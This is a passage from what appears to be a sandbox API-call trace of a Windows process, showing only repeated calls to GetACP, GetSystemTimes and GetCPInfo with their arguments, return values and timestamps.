GetACP () returned 0x4e4 [0054.168] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.168] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.168] GetACP () returned 0x4e4 [0054.168] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.168] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.168] GetACP () returned 0x4e4 [0054.168] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.168] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.168] GetACP () returned 0x4e4 [0054.168] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.168] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.168] GetACP () returned 0x4e4 [0054.168] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.168] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.168] GetACP () returned 0x4e4 [0054.168] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.168] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.168] GetACP () returned 0x4e4 [0054.168] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.168] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.168] GetACP () returned 0x4e4 [0054.168] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.168] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.168] GetACP () returned 0x4e4 [0054.168] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.168] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.169] GetACP () returned 0x4e4 [0054.169] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.169] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.169] GetACP () returned 0x4e4 [0054.169] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.169] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.169] GetACP () returned 0x4e4 [0054.169] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.169] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.169] GetACP () returned 0x4e4 [0054.169] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.169] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.169] GetACP () returned 0x4e4 [0054.169] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.169] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.169] GetACP () returned 0x4e4 [0054.169] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.169] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.169] GetACP () returned 0x4e4 [0054.169] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.169] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.169] GetACP () returned 0x4e4 [0054.170] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.170] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.170] GetACP () returned 0x4e4 [0054.170] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.170] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.170] GetACP () returned 0x4e4 [0054.170] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.170] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.170] GetACP () returned 0x4e4 [0054.170] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.170] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.170] GetACP () returned 0x4e4 [0054.170] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.170] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.170] GetACP () returned 0x4e4 [0054.170] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.170] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.170] GetACP () returned 0x4e4 [0054.170] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.170] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.170] GetACP () returned 0x4e4 [0054.170] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.170] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.170] GetACP () returned 0x4e4 [0054.170] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.170] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.171] GetACP () returned 0x4e4 [0054.171] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.171] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.171] GetACP () returned 0x4e4 [0054.171] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.171] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.171] GetACP () returned 0x4e4 [0054.171] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.171] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.171] GetACP () returned 0x4e4 [0054.171] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.171] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.171] GetACP () returned 0x4e4 [0054.171] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.171] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.171] GetACP () returned 0x4e4 [0054.171] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.171] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.171] GetACP () returned 0x4e4 [0054.171] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.171] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.171] GetACP () returned 0x4e4 [0054.171] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.171] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.171] GetACP () returned 0x4e4 [0054.171] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.171] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.172] GetACP () returned 0x4e4 [0054.172] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.172] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.172] GetACP () returned 0x4e4 [0054.172] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.172] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.172] GetACP () returned 0x4e4 [0054.172] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.172] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.172] GetACP () returned 0x4e4 [0054.172] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.172] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.172] GetACP () returned 0x4e4 [0054.172] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.172] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.172] GetACP () returned 0x4e4 [0054.172] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.172] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.172] GetACP () returned 0x4e4 [0054.172] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.172] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.172] GetACP () returned 0x4e4 [0054.172] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.172] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.172] GetACP () returned 0x4e4 [0054.172] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.172] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.173] GetACP () returned 0x4e4 [0054.173] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.173] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.173] GetACP () returned 0x4e4 [0054.173] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.173] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.173] GetACP () returned 0x4e4 [0054.173] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.173] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.173] GetACP () returned 0x4e4 [0054.173] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.173] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.173] GetACP () returned 0x4e4 [0054.173] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.173] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.173] GetACP () returned 0x4e4 [0054.173] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.173] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.173] GetACP () returned 0x4e4 [0054.173] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.173] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.173] GetACP () returned 0x4e4 [0054.173] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.173] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.173] GetACP () returned 0x4e4 [0054.173] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.174] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.174] GetACP () returned 0x4e4 [0054.174] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.174] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.174] GetACP () returned 0x4e4 [0054.174] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.174] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.174] GetACP () returned 0x4e4 [0054.174] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.174] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.174] GetACP () returned 0x4e4 [0054.174] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.174] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.174] GetACP () returned 0x4e4 [0054.174] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.174] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.174] GetACP () returned 0x4e4 [0054.174] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.174] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.174] GetACP () returned 0x4e4 [0054.174] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.174] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.174] GetACP () returned 0x4e4 [0054.174] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.174] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.174] GetACP () returned 0x4e4 [0054.174] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.175] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.175] GetACP () returned 0x4e4 [0054.175] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.175] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.175] GetACP () returned 0x4e4 [0054.175] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.175] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.175] GetACP () returned 0x4e4 [0054.175] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.175] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.175] GetACP () returned 0x4e4 [0054.175] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.175] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.175] GetACP () returned 0x4e4 [0054.175] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.175] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.175] GetACP () returned 0x4e4 [0054.175] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.175] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.175] GetACP () returned 0x4e4 [0054.175] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.175] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.175] GetACP () returned 0x4e4 [0054.175] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.175] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.175] GetACP () returned 0x4e4 [0054.175] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.176] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.176] GetACP () returned 0x4e4 [0054.176] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.176] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.176] GetACP () returned 0x4e4 [0054.176] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.176] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.176] GetACP () returned 0x4e4 [0054.176] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.176] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.176] GetACP () returned 0x4e4 [0054.176] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.176] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.176] GetACP () returned 0x4e4 [0054.176] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.176] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.176] GetACP () returned 0x4e4 [0054.176] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0054.176] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0054.176] GetACP () returned 0x4e4 [0054.176] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, 